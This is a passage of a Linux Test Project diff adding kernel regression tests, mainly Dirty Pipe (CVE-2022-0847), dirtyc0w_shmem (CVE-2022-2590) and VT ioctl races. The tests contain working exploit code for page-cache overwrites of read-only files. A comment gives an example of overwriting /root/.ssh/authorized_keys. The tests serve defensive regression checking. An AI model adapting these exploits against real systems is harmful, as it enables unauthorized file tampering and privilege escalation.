VT_DISALLOCATE, test_tty_port); + tst_fzsync_end_race_a(&fzp); + if (tst_taint_check()) { + tst_res(TFAIL, "Kernel is vulnerable"); + return; + } + } + SAFE_CLOSE(fd); + tst_res(TPASS, "Did not crash with VT_DISALLOCATE"); +} + +static void setup(void) +{ + sprintf(tty_path_a, "/dev/tty%d", test_tty_port + 1); + sprintf(tty_path_b, "/dev/tty%d", test_tty_port); + + if (access(tty_path_a, F_OK) || access(tty_path_b, F_OK)) + tst_brk(TCONF, "TTY(s) under test not available in system"); + + tst_fzsync_pair_init(&fzp); +} + +static void cleanup(void) +{ + tst_fzsync_pair_cleanup(&fzp); +} + +static struct tst_test test = { + .test_all = do_test, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 150, + .tags = (const struct tst_tag[]) { + {"CVE", "2020-36557"}, + {"linux-git", "ca4463bf8438"}, + {} + } +}; diff --git a/testcases/kernel/pty/pty07.c b/testcases/kernel/pty/pty07.c new file mode 100644 index 00000000..cc3df55c --- /dev/null +++ b/testcases/kernel/pty/pty07.c @@ -0,0 +1,122 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 xiaoshoukui + */ + +/*\ + * [Description] + * + * The VT_DISALLOCATE ioctl can free a virtual console while VT_RESIZEX ioctl is + * still running, causing a use-after-free in vt_ioctl(). Because VT_RESIZEX ioctl + * have not make sure vc_cons[i].d is not NULL after grabbing console_lock(). + * + * Fixed by commit: + * + * commit 6cd1ed50efd88261298577cd92a14f2768eddeeb + * Author: Eric Dumazet + * Date: Mon Feb 10 11:07:21 2020 -0800 + * + * vt: vt_ioctl: fix race in VT_RESIZEX + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include "lapi/ioctl.h" + +#include "tst_test.h" +#include "tst_safe_stdio.h" +#include "tst_fuzzy_sync.h" + +#define BUF_SIZE 256 +#define MAX_NR_CONSOLES 63 + +static char tty_path[BUF_SIZE]; +static int test_tty_port = 8; +static int fd = -1; +static struct tst_fzsync_pair fzp; + +static struct vt_consize consize; +static unsigned short vt_active; + +static void *open_close(void *unused) +{ + int i; + + while (tst_fzsync_run_b(&fzp)) { + tst_fzsync_start_race_b(&fzp); + for (i = test_tty_port; i < MAX_NR_CONSOLES; i++) { + ioctl(fd, VT_ACTIVATE, i); + ioctl(fd, VT_DISALLOCATE, i); + } + tst_fzsync_end_race_b(&fzp); + } + + return unused; +} + +static void do_test(void) +{ + + tst_fzsync_pair_reset(&fzp, open_close); + + while (tst_fzsync_run_a(&fzp)) { + tst_fzsync_start_race_a(&fzp); + ioctl(fd, VT_RESIZEX, &consize); + tst_fzsync_end_race_a(&fzp); + if (tst_taint_check()) { + tst_res(TFAIL, "Kernel is buggy"); + break; + } + } + tst_res(TPASS, "Did not crash with VT_RESIZE"); +} + +static void setup(void) +{ + struct vt_stat stat; + struct winsize wsize; + + sprintf(tty_path, "/dev/tty%d", test_tty_port); + if (access(tty_path, F_OK)) + tst_brk(TCONF, "TTY (/dev/tty%d) under test not available in system", test_tty_port); + + fd = SAFE_OPEN(tty_path, O_RDWR); + SAFE_IOCTL(fd, VT_GETSTATE, &stat); + vt_active = stat.v_active; + + tst_res(TINFO, "Saving active console %i", vt_active); + + SAFE_IOCTL(fd, TIOCGWINSZ, &wsize); + consize.v_rows = wsize.ws_row; + consize.v_cols = wsize.ws_col; + tst_fzsync_pair_init(&fzp); +} + +static void cleanup(void) +{ + tst_fzsync_pair_cleanup(&fzp); + + if (fd >= 0) { + tst_res(TINFO, "Restoring active console"); + SAFE_IOCTL(fd, VT_ACTIVATE, vt_active); + SAFE_CLOSE(fd); + } +} + +static struct tst_test test = { + .test_all = do_test, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .max_runtime = 150, + .tags = (const struct tst_tag[]) { + { "linux-git", "6cd1ed50efd8"}, + {} + } +}; diff --git a/testcases/kernel/sched/cfs-scheduler/.gitignore b/testcases/kernel/sched/cfs-scheduler/.gitignore index c5dacd6e..3ea3f75f 100755 --- a/testcases/kernel/sched/cfs-scheduler/.gitignore +++ b/testcases/kernel/sched/cfs-scheduler/.gitignore @@ -1,2 +1,3 @@ /hackbench -cfs_bandwidth01 +/cfs_bandwidth01 +/starvation diff --git a/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c b/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c index e3eb237d..27fc0fc5 100755 --- a/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c +++ b/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c @@ -1,7 +1,10 @@ // SPDX-License-Identifier: GPL-2.0-or-later -/* Copyright (c) 2021 SUSE LLC */ +/* + * Copyright (c) 2021 SUSE LLC + * Copyright (c) Linux Test Project, 2021-2023 + */ + /*\ - * * [Description] * * Creates a multi-level CGroup hierarchy with the cpu controller @@ -15,7 +18,8 @@ * them to be unthrottle. * * The test is known to reproduce an issue with an update to - * SLE-15-SP1 (kernel 4.12.14-197.64, bsc#1179093). + * SLE-15-SP1 (kernel 4.12.14-197.64, + * https://bugzilla.suse.com/show_bug.cgi?id=1179093). * * Also as an reproducer for another bug: * @@ -29,40 +33,39 @@ #include #include "tst_test.h" -#include "tst_cgroup.h" #include "tst_timer.h" -static const struct tst_cgroup_group *cg_test; -static struct tst_cgroup_group *cg_level2, *cg_level3a, *cg_level3b; -static struct tst_cgroup_group *cg_workers[3]; +static struct tst_cg_group *cg_level2, *cg_level3a, *cg_level3b; +static struct tst_cg_group *cg_workers[3]; static int may_have_waiters = 0; -static void set_cpu_quota(const struct tst_cgroup_group *const cg, +static void set_cpu_quota(const struct tst_cg_group *const cg, const float quota_percent) { const unsigned int period_us = 10000; const unsigned int quota_us = (quota_percent / 100) * (float)period_us; - if (!TST_CGROUP_VER_IS_V1(cg, "cpu")) { - SAFE_CGROUP_PRINTF(cg, "cpu.max", + if (!TST_CG_VER_IS_V1(cg, "cpu")) { + SAFE_CG_PRINTF(cg, "cpu.max", "%u %u", quota_us, period_us); } else { - SAFE_CGROUP_PRINTF(cg, "cpu.cfs_period_us", + SAFE_CG_PRINTF(cg, "cpu.cfs_period_us", "%u", period_us); - SAFE_CGROUP_PRINTF(cg, "cpu.max", + SAFE_CG_PRINTF(cg, "cpu.max", "%u", quota_us); } tst_res(TINFO, "Set '%s/cpu.max' = '%d %d'", - tst_cgroup_group_name(cg), quota_us, period_us); + tst_cg_group_name(cg), quota_us, period_us); } -static void mk_cpu_cgroup(struct tst_cgroup_group **cg, - const struct tst_cgroup_group *const cg_parent, - const char *const cg_child_name, - const float quota_percent) +static void mk_cpu_cgroup(struct tst_cg_group **cg, + const struct tst_cg_group *const cg_parent, + const char *const cg_child_name, + const float quota_percent) + { - *cg = tst_cgroup_group_mk(cg_parent, cg_child_name); + *cg = tst_cg_group_mk(cg_parent, "%s", cg_child_name); set_cpu_quota(*cg, quota_percent); } @@ -84,7 +87,7 @@ static void busy_loop(const unsigned int sleep_ms) } } -static void fork_busy_procs_in_cgroup(const struct tst_cgroup_group *const cg) +static void fork_busy_procs_in_cgroup(const struct tst_cg_group *const cg) { const unsigned int sleeps_ms[] = {3000, 1000, 10}; const pid_t worker_pid = SAFE_FORK(); @@ -99,7 +102,7 @@ static void fork_busy_procs_in_cgroup(const struct tst_cgroup_group *const cg) if (!busy_pid) busy_loop(sleeps_ms[i]); - SAFE_CGROUP_PRINTF(cg, "cgroup.procs", "%d", busy_pid); + SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", busy_pid); } tst_reap_children(); @@ -132,17 +135,13 @@ static void do_test(void) static void setup(void) { - tst_cgroup_require("cpu", NULL); - - cg_test = tst_cgroup_get_test_group(); + cg_level2 = tst_cg_group_mk(tst_cg, "level2"); - cg_level2 = tst_cgroup_group_mk(cg_test, "level2"); - - cg_level3a = tst_cgroup_group_mk(cg_level2, "level3a"); + cg_level3a = tst_cg_group_mk(cg_level2, "level3a"); mk_cpu_cgroup(&cg_workers[0], cg_level3a, "worker1", 30); mk_cpu_cgroup(&cg_workers[1], cg_level3a, "worker2", 20); - cg_level3b = tst_cgroup_group_mk(cg_level2, "level3b"); + cg_level3b = tst_cg_group_mk(cg_level2, "level3b"); mk_cpu_cgroup(&cg_workers[2], cg_level3b, "worker3", 30); } @@ -158,17 +157,15 @@ static void cleanup(void) for (i = 0; i < ARRAY_SIZE(cg_workers); i++) { if (cg_workers[i]) - cg_workers[i] = tst_cgroup_group_rm(cg_workers[i]); + cg_workers[i] = tst_cg_group_rm(cg_workers[i]); } if (cg_level3a) - cg_level3a = tst_cgroup_group_rm(cg_level3a); + cg_level3a = tst_cg_group_rm(cg_level3a); if (cg_level3b) - cg_level3b = tst_cgroup_group_rm(cg_level3b); + cg_level3b = tst_cg_group_rm(cg_level3b); if (cg_level2) - cg_level2 = tst_cgroup_group_rm(cg_level2); - - tst_cgroup_cleanup(); + cg_level2 = tst_cg_group_rm(cg_level2); } static struct tst_test test = { @@ -177,11 +174,13 @@ static struct tst_test test = { .cleanup = cleanup, .forks_child = 1, .needs_checkpoints = 1, + .max_runtime = 20, .taint_check = TST_TAINT_W | TST_TAINT_D, .needs_kconfigs = (const char *[]) { "CONFIG_CFS_BANDWIDTH", NULL }, + .needs_cgroup_ctrls = (const char *const []){"cpu", NULL}, .tags = (const struct tst_tag[]) { {"linux-git", "39f23ce07b93"}, {"linux-git", "b34cb07dde7c"}, diff --git a/testcases/kernel/sched/cfs-scheduler/starvation.c b/testcases/kernel/sched/cfs-scheduler/starvation.c new file mode 100644 index 00000000..eb9fd6ff --- /dev/null +++ b/testcases/kernel/sched/cfs-scheduler/starvation.c @@ -0,0 +1,113 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* Copyright 2023 Mike Galbraith */ +/* Copyright 2023 Wei Gao */ +/*\ + * + * [Description] + * + * Thread starvation test. On fauluty kernel the test timeouts. + * + * Original reproducer taken from: + * https://lore.kernel.org/lkml/9fd2c37a05713c206dcbd5866f67ce779f315e9e.camel@gmx.de/ + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include "tst_test.h" + +static char *str_loop; +static long loop = 2000000; +static char *str_timeout; +static int timeout = 240; + +static int wait_for_pid(pid_t pid) +{ + int status, ret; + +again: + ret = waitpid(pid, &status, 0); + if (ret == -1) { + if (errno == EINTR) + goto again; + + return -1; + } + + if (WIFSIGNALED(status)) + return 0; + + return -1; +} + +static void setup(void) +{ + cpu_set_t mask; + + CPU_ZERO(&mask); + + CPU_SET(0, &mask); + + TST_EXP_POSITIVE(sched_setaffinity(0, sizeof(mask), &mask)); + + if (tst_parse_long(str_loop, &loop, 1, LONG_MAX)) + tst_brk(TBROK, "Invalid number of loop number '%s'", str_loop); + + if (tst_parse_int(str_timeout, &timeout, 1, INT_MAX)) + tst_brk(TBROK, "Invalid number of timeout '%s'", str_timeout); + + tst_set_max_runtime(timeout); +} + +static void handler(int sig LTP_ATTRIBUTE_UNUSED) +{ + if (loop > 0) + --loop; +} + +static void child(void) +{ + pid_t ppid = getppid(); + + TST_CHECKPOINT_WAIT(0); + + while (1) + SAFE_KILL(ppid, SIGUSR1); +} + +static void do_test(void) +{ + pid_t child_pid; + + child_pid = SAFE_FORK(); + + if (!child_pid) + child(); + + SAFE_SIGNAL(SIGUSR1, handler); + TST_CHECKPOINT_WAKE(0); + + while (loop) + sleep(1); + + SAFE_KILL(child_pid, SIGTERM); + TST_EXP_PASS(wait_for_pid(child_pid)); +} + +static struct tst_test test = { + .test_all = do_test, + .setup = setup, + .forks_child = 1, + .options = (struct tst_option[]) { + {"l:", &str_loop, "Number of loops (default 2000000)"}, + {"t:", &str_timeout, "Max timeout (default 240s)"}, + {} + }, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/sched/tool/time-schedule.c b/testcases/kernel/sched/tool/time-schedule.c index 4ff0bba1..8668dd7c 100755 --- a/testcases/kernel/sched/tool/time-schedule.c +++ b/testcases/kernel/sched/tool/time-schedule.c @@ -500,10 +500,14 @@ static unsigned long get_num_switches() if ((fp = fopen("/proc/stat", "r")) == NULL) return (0); + while (fgets(line, sizeof line, fp) != NULL) { - sscanf(line, "%s %lu", name, &val); + if (sscanf(line, "%s %lu", name, &val) != 2) + continue; + if (strcasecmp(name, "ctxt") != 0) continue; + fclose(fp); return (val); } diff --git a/testcases/kernel/security/cap_bound/cap_bounds_r.c b/testcases/kernel/security/cap_bound/cap_bounds_r.c index d7c2bf0a..28f320fd 100755 --- a/testcases/kernel/security/cap_bound/cap_bounds_r.c +++ b/testcases/kernel/security/cap_bound/cap_bounds_r.c @@ -85,9 +85,8 @@ int main(void) * We could test using kernel API, but that's what we're * testing... So let's take an insanely high value */ #define INSANE 63 -#define max(x,y) (x > y ? x : y) #if HAVE_DECL_PR_CAPBSET_READ - ret = prctl(PR_CAPBSET_READ, max(INSANE, CAP_LAST_CAP + 1)); + ret = prctl(PR_CAPBSET_READ, MAX(INSANE, CAP_LAST_CAP + 1)); #else errno = ENOSYS; ret = -1; diff --git a/testcases/kernel/security/cap_bound/cap_bounds_rw.c b/testcases/kernel/security/cap_bound/cap_bounds_rw.c index 503853c5..a0d2111d 100755 --- a/testcases/kernel/security/cap_bound/cap_bounds_rw.c +++ b/testcases/kernel/security/cap_bound/cap_bounds_rw.c @@ -115,18 +115,17 @@ int main(void) * We could test using kernel API, but that's what we're * testing... So let's take an insanely high value */ #define INSANE 63 -#define max(x,y) (x > y ? x : y) #if HAVE_DECL_PR_CAPBSET_DROP - ret = prctl(PR_CAPBSET_DROP, max(INSANE, CAP_LAST_CAP + 1)); + ret = prctl(PR_CAPBSET_DROP, MAX(INSANE, CAP_LAST_CAP + 1)); #else errno = ENOSYS; ret = -1; #endif if (ret != -1) { tst_resm(TFAIL, "prctl(PR_CAPBSET_DROP, %d) returned %d", - max(INSANE, CAP_LAST_CAP + 1), ret); + MAX(INSANE, CAP_LAST_CAP + 1), ret); tst_resm(TINFO, " %d is should not exist", - max(INSANE, CAP_LAST_CAP + 1)); + MAX(INSANE, CAP_LAST_CAP + 1)); tst_exit(); } for (i = 0; i <= cap_last_cap; i++) { diff --git a/testcases/kernel/security/cap_bound/run_capbounds.sh b/testcases/kernel/security/cap_bound/run_capbounds.sh index 6164f62d..ddf18642 100755 --- a/testcases/kernel/security/cap_bound/run_capbounds.sh +++ b/testcases/kernel/security/cap_bound/run_capbounds.sh @@ -19,12 +19,6 @@ ## ## ################################################################################ -if tst_kvcmp -lt "2.6.25"; then - tst_resm TCONF "System kernel version is less than 2.6.25" - tst_resm TCONF "Cannot execute test" - exit 32 -fi - echo "testing bounding set reading" exit_code=0 diff --git a/testcases/kernel/security/dirtyc0w/dirtyc0w.c b/testcases/kernel/security/dirtyc0w/dirtyc0w.c index 7924285a..487a5260 100755 --- a/testcases/kernel/security/dirtyc0w/dirtyc0w.c +++ b/testcases/kernel/security/dirtyc0w/dirtyc0w.c @@ -62,7 +62,7 @@ void dirtyc0w_test(void) /* Create file */ fd = SAFE_OPEN(FNAME, O_WRONLY|O_CREAT|O_EXCL, 0444); - SAFE_WRITE(1, fd, STR, sizeof(STR)-1); + SAFE_WRITE(SAFE_WRITE_ALL, fd, STR, sizeof(STR)-1); SAFE_CLOSE(fd); pid = SAFE_FORK(); diff --git a/testcases/kernel/security/dirtyc0w_shmem/.gitignore b/testcases/kernel/security/dirtyc0w_shmem/.gitignore new file mode 100644 index 00000000..8d11fd2e --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/.gitignore @@ -0,0 +1,2 @@ +/dirtyc0w_shmem +/dirtyc0w_shmem_child diff --git a/testcases/kernel/security/dirtyc0w_shmem/Makefile b/testcases/kernel/security/dirtyc0w_shmem/Makefile new file mode 100644 index 00000000..e1b983b1 --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/Makefile @@ -0,0 +1,8 @@ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2022 Linux Test Project + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +dirtyc0w_shmem_child: CFLAGS+=-pthread +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c new file mode 100644 index 00000000..f3d6e642 --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem.c @@ -0,0 +1,120 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 Red Hat, Inc. + */ + +/*\ + * [Description] + * + * This is a regression test for a write race that allowed unprivileged programs + * to change readonly files located on tmpfs/shmem on the system using + * userfaultfd "minor fault handling" (CVE-2022-2590). + */ + +#include "config.h" + +#include +#include +#include +#include +#include +#include +#include + +#include "tst_test.h" + +#define TMP_DIR "tmp_dirtyc0w_shmem" +#define TEST_FILE TMP_DIR"/testfile" +#define STR "this is not a test\n" + +static uid_t nobody_uid; +static gid_t nobody_gid; +static volatile bool child_early_exit; + +static void sighandler(int sig) +{ + if (sig == SIGCHLD) { + child_early_exit = true; + return; + } + + _exit(0); +} + +static void setup(void) +{ + struct passwd *pw; + + umask(0); + + pw = SAFE_GETPWNAM("nobody"); + + nobody_uid = pw->pw_uid; + nobody_gid = pw->pw_gid; + + SAFE_MKDIR(TMP_DIR, 0664); + SAFE_MOUNT(TMP_DIR, TMP_DIR, "tmpfs", 0, NULL); +} + +static void dirtyc0w_shmem_test(void) +{ + bool failed = false; + int pid; + char c; + + SAFE_FILE_PRINTF(TEST_FILE, STR); + SAFE_CHMOD(TEST_FILE, 0444); + + pid = SAFE_FORK(); + if (!pid) { + SAFE_SETGID(nobody_gid); + SAFE_SETUID(nobody_uid); + SAFE_EXECLP("dirtyc0w_shmem_child", "dirtyc0w_shmem_child", NULL); + } + + TST_CHECKPOINT_WAIT(0); + + SAFE_SIGNAL(SIGCHLD, sighandler); + do { + usleep(100000); + + SAFE_FILE_SCANF(TEST_FILE, "%c", &c); + + if (c != 't') { + failed = true; + break; + } + } while (tst_remaining_runtime() && !child_early_exit); + SAFE_SIGNAL(SIGCHLD, SIG_DFL); + + SAFE_KILL(pid, SIGUSR1); + tst_reap_children(); + SAFE_UNLINK(TEST_FILE); + + if (child_early_exit) + tst_res(TINFO, "Early child process exit"); + else if (failed) + tst_res(TFAIL, "Bug reproduced!"); + else + tst_res(TPASS, "Bug not reproduced"); +} + +static void cleanup(void) +{ + SAFE_UMOUNT(TMP_DIR); +} + +static struct tst_test test = { + .needs_checkpoints = 1, + .forks_child = 1, + .needs_root = 1, + .max_runtime = 120, + .setup = setup, + .cleanup = cleanup, + .test_all = dirtyc0w_shmem_test, + .tags = (const struct tst_tag[]) { + {"linux-git", "5535be309971"}, + {"CVE", "2022-2590"}, + {} + } +}; diff --git a/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c new file mode 100644 index 00000000..2a982347 --- /dev/null +++ b/testcases/kernel/security/dirtyc0w_shmem/dirtyc0w_shmem_child.c @@ -0,0 +1,234 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2022 Red Hat, Inc. + * Based on original reproducer: https://seclists.org/oss-sec/2022/q3/128 + */ + +#include "config.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define TST_NO_DEFAULT_MAIN +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" + +#define TMP_DIR "tmp_dirtyc0w_shmem" +#define TEST_FILE TMP_DIR"/testfile" + +static char *str = "m00000000000000000"; +static void *map; +static int mem_fd; +static int uffd; +static size_t page_size; + +static void *stress_thread_fn(void *arg) +{ + while (1) + /* Don't optimize the busy loop out. */ + asm volatile("" : "+r" (arg)); + + return NULL; +} + +static void *discard_thread_fn(void *arg) +{ + (void)arg; + + while (1) { + char tmp; + + /* + * Zap that page first, such that we can trigger a new + * minor fault. + */ + madvise(map, page_size, MADV_DONTNEED); + /* + * Touch the page to trigger a UFFD minor fault. The uffd + * thread will resolve the minor fault via a UFFDIO_CONTINUE. + */ + tmp = *((char *)map); + /* Don't optimize the read out. */ + asm volatile("" : "+r" (tmp)); + } + + return NULL; +} + +static void *write_thread_fn(void *arg) +{ + (void)arg; + + while (1) + /* + * Ignore any errors -- errors mean that pwrite() would + * have to trigger a uffd fault and sleep, which the GUP + * variant doesn't support, so it fails with an I/O errror. + * + * Once we retry and are lucky to already find the placed + * page via UFFDIO_CONTINUE (from the other threads), we get + * no error. + */ + pwrite(mem_fd, str, strlen(str), (uintptr_t) map); + + return NULL; +} + +static void *uffd_thread_fn(void *arg) +{ + static struct uffd_msg msg; + struct uffdio_continue uffdio; + struct uffdio_range uffdio_wake; + + (void)arg; + + while (1) { + struct pollfd pollfd; + int nready, nread; + + pollfd.fd = uffd; + pollfd.events = POLLIN; + nready = poll(&pollfd, 1, -1); + if (nready < 0) + tst_brk(TBROK | TERRNO, "Error on poll"); + + nread = read(uffd, &msg, sizeof(msg)); + if (nread <= 0) + continue; + + uffdio.range.start = (unsigned long) map; + uffdio.range.len = page_size; + uffdio.mode = 0; + if (ioctl(uffd, UFFDIO_CONTINUE, &uffdio) < 0) { + if (errno == EEXIST) { + uffdio_wake.start = (unsigned long) map; + uffdio_wake.len = page_size; + SAFE_IOCTL(uffd, UFFDIO_WAKE, &uffdio_wake); + } + } + } + + return NULL; +} + +static void setup_uffd(void) +{ + struct uffdio_register uffdio_register; + struct uffdio_api uffdio_api; + int flags = O_CLOEXEC | O_NONBLOCK; + +retry: + TEST(tst_syscall(__NR_userfaultfd, flags)); + if (TST_RET < 0) { + if (TST_ERR == EPERM) { + if (!(flags & UFFD_USER_MODE_ONLY)) { + flags |= UFFD_USER_MODE_ONLY; + goto retry; + } + } + tst_brk(TBROK | TTERRNO, + "Could not create userfault file descriptor"); + } + uffd = TST_RET; + + uffdio_api.api = UFFD_API; + uffdio_api.features = UFFD_FEATURE_MINOR_SHMEM; + TEST(ioctl(uffd, UFFDIO_API, &uffdio_api)); + if (TST_RET < 0) { + if (TST_ERR == EINVAL) { + tst_brk(TCONF, + "System does not have userfaultfd minor fault support for shmem"); + } + tst_brk(TBROK | TTERRNO, + "Could not create userfault file descriptor"); + } + + if (!(uffdio_api.features & UFFD_FEATURE_MINOR_SHMEM)) + tst_brk(TCONF, "System does not have userfaultfd minor fault support for shmem"); + + uffdio_register.range.start = (unsigned long) map; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MINOR; + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); +} + +static void sighandler(int sig) +{ + (void) sig; + + _exit(0); +} + +int main(void) +{ + pthread_t thread1, thread2, thread3, *stress_threads; + int fd, i, num_cpus; + struct stat st; + + tst_reinit(); + + SAFE_SIGNAL(SIGUSR1, sighandler); + + page_size = getpagesize(); + num_cpus = sysconf(_SC_NPROCESSORS_ONLN); + + /* Create some threads that stress all CPUs to make the race easier to reproduce. */ + stress_threads = malloc(sizeof(*stress_threads) * num_cpus * 2); + for (i = 0; i < num_cpus * 2; i++) + pthread_create(stress_threads + i, NULL, stress_thread_fn, NULL); + + TST_CHECKPOINT_WAKE(0); + + fd = SAFE_OPEN(TEST_FILE, O_RDONLY); + SAFE_FSTAT(fd, &st); + + /* + * We need a read-only private mapping of the file. Ordinary write-access + * via the page tables is impossible, however, we can still perform a + * write access that bypasses missing PROT_WRITE permissions using ptrace + * (/proc/self/mem). Such a write access is supposed to properly replace + * the pagecache page by a private copy first (break COW), such that we are + * never able to modify the pagecache page. + * + * We want the following sequence to trigger. Assuming the pagecache page is + * mapped R/O already (e.g., due to previous action from Thread 1): + * Thread 2: pwrite() [start] + * -> Trigger write fault, replace mapped page by anonymous page + * -> COW was broken, remember FOLL_COW + * Thread 1: madvise(map, 4096, MADV_DONTNEED); + * -> Discard anonymous page + * Thread 1: tmp += *((int *)map); + * -> Trigger a minor uffd fault + * Thread 3: ioctl(uffd, UFFDIO_CONTINUE + * -> Resolve minor uffd fault via UFFDIO_CONTINUE + * -> Map shared page R/O but set it dirty + * Thread 2: pwrite() [continue] + * -> Find R/O mapped page that's dirty and FOLL_COW being set + * -> Modify shared page R/O because we don't break COW (again) + */ + map = SAFE_MMAP(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0); + mem_fd = SAFE_OPEN("/proc/self/mem", O_RDWR); + + setup_uffd(); + + SAFE_PTHREAD_CREATE(&thread1, NULL, discard_thread_fn, NULL); + SAFE_PTHREAD_CREATE(&thread2, NULL, write_thread_fn, NULL); + SAFE_PTHREAD_CREATE(&thread3, NULL, uffd_thread_fn, NULL); + + pause(); + + return 0; +} diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore new file mode 100644 index 00000000..fdf39eed --- /dev/null +++ b/testcases/kernel/security/dirtypipe/.gitignore @@ -0,0 +1 @@ +/dirtypipe diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile new file mode 100644 index 00000000..5ea7d67d --- /dev/null +++ b/testcases/kernel/security/dirtypipe/Makefile @@ -0,0 +1,6 @@ +# SPDX-License-Identifier: GPL-2.0-or-later + +top_srcdir ?= ../../../.. + +include $(top_srcdir)/include/mk/testcases.mk +include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c new file mode 100644 index 00000000..9568a9b8 --- /dev/null +++ b/testcases/kernel/security/dirtypipe/dirtypipe.c @@ -0,0 +1,172 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright 2022 CM4all GmbH / IONOS SE + * + * Author: Max Kellermann + * + * Ported into LTP by Yang Xu + */ + +/*\ + * [Description] + * + * Proof-of-concept exploit for the Dirty Pipe + * vulnerability (CVE-2022-0847) caused by an uninitialized + * "pipe_buffer.flags" variable. It demonstrates how to overwrite any + * file contents in the page cache, even if the file is not permitted + * to be written, immutable or on a read-only mount. + * + * This exploit requires Linux 5.8 or later; the code path was made + * reachable by commit f6dd975583bd ("pipe: merge + * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was + * there before, it just provided an easy way to exploit it. + * + * There are two major limitations of this exploit: the offset cannot + * be on a page boundary (it needs to write one byte before the offset + * to add a reference to this page to the pipe), and the write cannot + * cross a page boundary. + * + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' + * + * Further explanation: https://dirtypipe.cm4all.com/ + */ + +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include +#include +#include +#include +#include +#include +#include +#include "tst_test.h" + +#define TEXT "AAAAAAAABBBBBBBB" +#define TESTFILE "testfile" +#define CHUNK 64 +#define BUFSIZE 4096 + +static int p[2] = {-1, -1}, fd = -1; +static char *pattern_buf, *read_buf; + +static void check_file_contents(void) +{ + SAFE_LSEEK(fd, 0, SEEK_SET); + SAFE_READ(1, fd, read_buf, 4096); + + if (memcmp(pattern_buf, read_buf, 4096) != 0) + tst_res(TFAIL, "read buf data mismatch, bug exists"); + else + tst_res(TPASS, "read buff data match, bug doesn't exist"); +} + +/* + * Create a pipe where all "bufs" on the pipe_inode_info ring have the + * PIPE_BUF_FLAG_CAN_MERGE flag set. + */ +static void prepare_pipe(void) +{ + unsigned int pipe_size, total, n, len; + char buffer[BUFSIZE]; + + SAFE_PIPE(p); + pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ); + + /* + * fill the pipe completely; each pipe_buffer will now have the + * PIPE_BUF_FLAG_CAN_MERGE flag + */ + for (total = pipe_size; total > 0;) { + n = total > sizeof(buffer) ? sizeof(buffer) : total; + len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], buffer, n); + total -= len; + } + + /* + * drain the pipe, freeing all pipe_buffer instances (but leaving the + * flags initialized) + */ + for (total = pipe_size; total > 0;) { + n = total > sizeof(buffer) ? sizeof(buffer) : total; + len = SAFE_READ(1, p[0], buffer, n); + total -= len; + } + + /* + * the pipe is now empty, and if somebody adds a new pipe_buffer + * without initializing its "flags", the buffer wiill be mergeable + */ +} + +static void run(void) +{ + int data_size, len; + ssize_t nbytes; + + data_size = strlen(TEXT); + + fd = SAFE_OPEN(TESTFILE, O_RDONLY); + + prepare_pipe(); + + /* + * splice one byte from the start into the pipe; + * this will add a reference to the page cache, but since + * copy_page_to_iter_pipe() does not initialize the "flags", + * PIPE_BUF_FLAG_CAN_MERGE is still set + */ + nbytes = splice(fd, NULL, p[1], NULL, 1, 0); + if (nbytes < 0) + tst_brk(TFAIL, "splice failed"); + if (nbytes == 0) + tst_brk(TFAIL, "short splice"); + + /* + * the following write will not create a new pipe_buffer, but + * will instead write into the page cache, because of the + * PIPE_BUF_FLAG_CAN_MERGE flag + */ + len = SAFE_WRITE(SAFE_WRITE_ALL, p[1], TEXT, data_size); + if (len < nbytes) + tst_brk(TFAIL, "short write"); + + check_file_contents(); + SAFE_CLOSE(p[0]); + SAFE_CLOSE(p[1]); + SAFE_CLOSE(fd); +} + +static void setup(void) +{ + memset(pattern_buf, 0xff, BUFSIZE); + tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK); +} + +static void cleanup(void) +{ + if (p[0] > -1) + SAFE_CLOSE(p[0]); + if (p[1] > -1) + SAFE_CLOSE(p[1]); + if (fd > -1) + 